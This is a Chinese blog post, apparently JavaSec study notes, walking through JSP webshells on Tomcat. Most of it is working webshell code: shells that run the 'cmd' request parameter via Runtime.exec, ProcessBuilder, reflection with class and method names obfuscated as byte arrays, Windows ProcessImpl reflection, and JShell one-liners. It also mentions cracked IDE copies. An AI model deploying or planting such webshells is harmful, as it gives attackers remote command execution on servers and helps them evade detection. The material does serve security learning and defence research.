本文最后更新于:2024年9月10日 下午
学习JavaSec中有这一部分,故系统记录一下。
环境搭建
首先,IDEA肯定是准备好,这个不细说了,破解版各个公众号都有。
然后下载Tomcat作为Web服务,因为JSP是动态页面,必须要有容器,我自己在官网下的Tomcat9,这里给一个7版本的下载地址。
Tomcat-7.0.82
解压缩后记住地址,新建一个IDEA的项目,具体配置见这篇文章:在IDEA中搭建JSP环境
写好了一个JSP🐎的时候发现会报错无法解决函数的问题,是因为没有导入相关的jar包。
ctrl+shift+alt+s
打开项目配置,找到lib
,添加Tomcat的相关依赖。common包官网
当运行Tomcat的时候,控制台中文出现了乱码,解决方案:ctrl+alt+s
打开系统设置,进入控制台选项,修改编码为UTF-8
最后就可以正常运行了
JSPWebShell基础
JSP 语法其实非常简单,我们只需要将 Java 语句使用 <%JavaCode%>
进行包裹。
1 2 3 4
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% out.println("test"); %>
|
本质上还是在写Java代码,这里给出一个最基础的🐎:利用Runtime
类的exec
执行系统命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <% InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[2048]; int a = -1;
while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } out.write("<pre>" + new String(baos.toByteArray()) + "</pre>"); %>
|
exec
方法并不是命令执行的最终点,执行逻辑大致是:
Runtime.exec("whoami")
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess("whoami")
UNIXProcess
构造方法中调用了forkAndExec("whoami")
native方法。
forkAndExec
调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)
执行命令并返回fork/CreateProcess
的PID
。
ProcessBuilder命令执行
学习Runtime
命令执行的时候,其最终exec
方法会调用ProcessBuilder
来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder
来执行系统命令了。
process_builder.jsp命令执行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <% InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1;
while ((a = in.read(b)) != -1) { baos.write(b, 0, a); }
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>"); %>
|
利用反射执行系统命令
既然是Java代码,当然是可以直接使用反射来执行Runtime
类的函数的。
这里我通过字节转成字符串来反射获取类和函数,并且这里我没有去实例化Runtime
类,直接获取getRuntime
这个函数来达到实例化的目的
通过连续两次执行invoke()
最终得到执行结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.util.Scanner" %> <% String str = request.getParameter("cmd"); String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}); Class<?> c = Class.forName(rt); Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})); Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class); Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str}); Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); m.setAccessible(true);
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A"); String result = s.hasNext() ? s.next() : ""; out.println(result); %>
|
NIXProcess/ProcessImpl
ProcessBuilder
在实现时调用了ProcessImpl
UNIXProcess
和ProcessImpl
可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess
合并到了ProcessImpl
当中了,参考changeset 11315:98eb910c9a97。
UNIXProcess
和ProcessImpl
其实就是最终调用native
执行系统命令的类,这个类提供了一个叫forkAndExec
的native方法,如方法名所述主要是通过fork&exec
来执行本地系统命令。
UNIXProcess
类的forkAndExec
示例:
1 2 3 4 5 6 7 8
| private native int forkAndExec(int mode, byte[] helperpath, byte[] prog, byte[] argBlock, int argc, byte[] envBlock, int envc, byte[] dir, int[] fds, boolean redirectErrorStream) throws IOException;
|
最终执行的Java_java_lang_ProcessImpl_forkAndExec
完整代码:ProcessImpl_md.c
反射UNIXProcess/ProcessImpl执行本地命令
这里JavaSec的指导书里面只写了Linux的Shell,我这里写一下Win下的。
首先我们需要知道Win系统下ProcessImpl是如何执行的,那么我们可以使用前面ProcessBuilder的Shell,然后在new ProcessBuilder
那里打上断点,然后启动Tomcat进行调试,然后我们步进到PrcocessImpl.java
文件,在其322行的位置打上断点,直接继续运行,可以看到此时ProcessImpl
的构造函数的参数是多少,然后我们在WebShell里面仿照构造就行了。
最后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| <html> <head> <title>WinRefProcessImplShell</title> </head> <body> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%! InputStream start(String[] cmds) throws Exception { String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}); Class clazz = null; clazz = Class.forName(processClass); Constructor<?> constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true);
assert cmds != null && cmds.length > 0;
FileInputStream f0 = null; FileOutputStream f1 = null; FileOutputStream f2 = null; try { if (f0 != null) f0.close(); } finally { try { if (f1 != null) f1.close(); } finally { if (f2 != null) f2.close(); } } Object object = constructor.newInstance( cmds, null, null, new long[]{-1,-1,-1}, false ); Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object); } String inputStreamToString(InputStream in, String charset) throws IOException { try { if (charset == null) { charset = "UTF-8"; } ByteArrayOutputStream out = new ByteArrayOutputStream(); int a = 0; byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) { out.write(b, 0, a); } return new String(out.toByteArray()); } catch (IOException e) { throw e; } finally { if (in != null) in.close(); } } %> <% String[] cmds = request.getParameterValues("cmd");
if (cmds != null) { InputStream in = start(cmds); String result = inputStreamToString(in, "UTF-8"); out.println("<pre>"); out.println(result); out.println("</pre>"); out.flush(); out.close(); } %> </body> </html>
|
JShell执行系统命令
我还是第一次听说这个东西,还是太菜了。
从Java 9
开始提供了一个叫jshell
的功能,jshell
是一个REPL(Read-Eval-Print Loop)
命令行工具,提供了一个交互式命令行界面,在jshell
中我们不再需要编写类也可以执行Java代码片段,开发者可以像python
和php
一样在命令行下愉快的写测试代码了。
命令行执行jshell
即可进入jshell
模式:
jshell
不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell
内部的实现API,也就是说我们可以利用jshell
来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。
jshell
调用了jdk.jshell.JShell
类的eval
方法来执行我们的代码片段,那么我们只要想办法调用这个eval
方法也就可以实现真正意义上的一句话木马了。
jshell.jsp
一句话木马示例:
1
| <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>
|
只输出关键信息,修改为:
1
| <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
|
然后我们需要编写一个执行本地命令的代码片段:也就是参数``cmd`的值
1
| new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())
|
Java 9
的java.io.InputStream
类正好提供了一个readAllBytes
方法,我们从此以后再也不需要按字节读取了。